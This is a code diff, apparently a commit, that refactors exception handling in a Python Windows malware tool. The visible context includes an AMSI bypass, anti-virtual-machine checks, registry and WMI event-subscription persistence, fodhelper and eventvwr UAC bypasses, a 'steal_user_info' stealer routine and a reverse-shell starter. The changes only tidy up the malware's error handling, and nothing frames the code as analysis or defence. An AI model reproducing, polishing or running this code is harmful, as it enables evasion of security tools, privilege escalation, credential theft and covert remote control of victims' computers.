@@ -143,7 +143,8 @@ def bypass_amsi():
143143 old_protection .value ,
144144 ctypes .byref (old_protection )
145145 )
146- except :
146+ except Exception as e :
147+ # Silently handle AMSI bypass failure
147148 pass
148149
149150# Anti-VM detection
@@ -156,15 +157,17 @@ def check_virtual_machine():
156157 for v_string in virtualization_strings :
157158 if v_string in proc .info ['name' ].lower ():
158159 return True
159- except :
160+ except Exception as e :
161+ # Skip processes that can't be accessed
160162 pass
161163
162164 try :
163- manufacturer = subprocess .check_output ('wmic computersystem get manufacturer' , shell = True ).decode ().lower ()
165+ manufacturer = subprocess .check_output ([ 'wmic' , ' computersystem' , ' get' , ' manufacturer'] , shell = False ).decode ().lower ()
164166 for v_string in virtualization_strings :
165167 if v_string in manufacturer :
166168 return True
167- except :
169+ except Exception as e :
170+ # Skip if wmic command fails
168171 pass
169172
170173 try :
@@ -182,23 +185,28 @@ def check_virtual_machine():
182185 for v_string in virtualization_strings :
183186 if v_string in value .lower ():
184187 return True
185- except :
188+ except Exception as e :
189+ # Skip if registry value doesn't exist
186190 pass
187191
188192 try :
189193 value , _ = winreg .QueryValueEx (key , "Identifier" )
190194 for v_string in virtualization_strings :
191195 if v_string in value .lower ():
192196 return True
193- except :
197+ except Exception as e :
198+ # Skip if registry value doesn't exist
194199 pass
195- except :
200+ except Exception as e :
201+ # Skip if registry key can't be accessed
196202 pass
197- except :
203+ except Exception as e :
204+ # Skip if registry operations fail
198205 pass
199206
200207 return False
201- except :
208+ except Exception as e :
209+ # Handle VM detection errors gracefully
202210 return False
203211
204212# Registry persistence setup
@@ -221,7 +229,8 @@ def add_to_startup():
221229 winreg .SetValueEx (reg_key , key_name , 0 , winreg .REG_SZ , exe_path )
222230 winreg .CloseKey (reg_key )
223231 return True
224- except :
232+ except Exception as e :
233+ # Skip if registry key can't be written to
225234 continue
226235
227236 try :
@@ -235,11 +244,13 @@ def add_to_startup():
235244 binding_command = f'wmic /namespace:"\\ \\ root\\ subscription" path __FilterToConsumerBinding create Filter="__EventFilter.Name=\\ "WindowsEventFilter\\ "", Consumer="CommandLineEventConsumer.Name=\\ "WindowsConsumer\\ ""'
236245 subprocess .run (binding_command , shell = True , capture_output = True )
237246 return True
238- except :
247+ except Exception as e :
248+ # Skip if WMI commands fail
239249 pass
240250
241251 return False
242- except :
252+ except Exception as e :
253+ # Handle startup persistence errors gracefully
243254 return False
244255
245256appdata = os .getenv ('APPDATA' )
@@ -284,12 +295,14 @@ def uac_bypass():
284295 # Clean up
285296 try :
286297 winreg .DeleteKey (winreg .HKEY_CURRENT_USER , fodhelper_path )
287- except :
298+ except Exception as e :
299+ # Skip if cleanup fails
288300 pass
289301
290302 if ctypes .windll .shell32 .IsUserAnAdmin () == 1 :
291303 return True
292- except :
304+ except Exception as e :
305+ # Skip if FodHelper method fails
293306 pass
294307
295308 # Eventvwr method
@@ -306,17 +319,20 @@ def uac_bypass():
306319 # Clean up
307320 try :
308321 winreg .DeleteKey (winreg .HKEY_CURRENT_USER , eventvwr_path )
309- except :
322+ except Exception as e :
323+ # Skip if cleanup fails
310324 pass
311325
312326 if ctypes .windll .shell32 .IsUserAnAdmin () == 1 :
313327 return True
314- except :
328+ except Exception as e :
329+ # Skip if Eventvwr method fails
315330 pass
316331
317332 # If we get here, bypass failed
318333 return False
319- except :
334+ except Exception as e :
335+ # Handle UAC bypass errors gracefully
320336 return False
321337
322338HELP_MENU = """
@@ -419,7 +435,8 @@ async def steal_user_info():
419435 # Kill the process if it takes too long
420436 try :
421437 process .kill ()
422- except :
438+ except Exception as e :
439+ # Skip if process kill fails
423440 pass
424441 return "Error: Stealer execution timed out after 5 minutes"
425442
@@ -434,7 +451,8 @@ async def steal_user_info():
434451 try :
435452 if os .path .exists (exe_path ):
436453 os .remove (exe_path )
437- except :
454+ except Exception as e :
455+ # Skip if file removal fails
438456 pass
439457
440458async def start_reverse_shell (port = 0 ):
@@ -458,29 +476,29 @@ async def start_reverse_shell(port=0):
458476 timeout = 5
459477 )
460478 ip = ip_response .text .strip ()
461- except :
479+ except Exception as e :
462480 try :
463481 # Try second service if first fails
464482 ip_response = await asyncio .wait_for (
465483 asyncio .to_thread (requests .get , 'https://ifconfig.me/ip' , timeout = 3 ),
466484 timeout = 5
467485 )
468486 ip = ip_response .text .strip ()
469- except :
487+ except Exception as e :
470488 try :
471489 # Try third service if second fails
472490 ip_response = await asyncio .wait_for (
473491 asyncio .to_thread (requests .get , 'https://checkip.amazonaws.com/' , timeout = 3 ),
474492 timeout = 5
475493 )
476494 ip = ip_response .text .strip ()
477- except :
495+ except Exception as e :
478496 # Use fallback if all services fail
479497 try :
480498 # Try to get the local IP as a last resort
481499 hostname = socket .gethostname ()
482500 ip = socket .gethostbyname (hostname )
483- except :
501+ except Exception as e :
484502 pass # Keep default 127.0.0.1
485503
486504 return server , ip , port
@@ -490,7 +508,8 @@ async def start_reverse_shell(port=0):
490508 if server :
491509 try :
492510 server .close ()
493- except :
511+ except Exception as e :
512+ # Skip if server close fails
494513 pass
495514 return None , None , None
496515
0 commit comments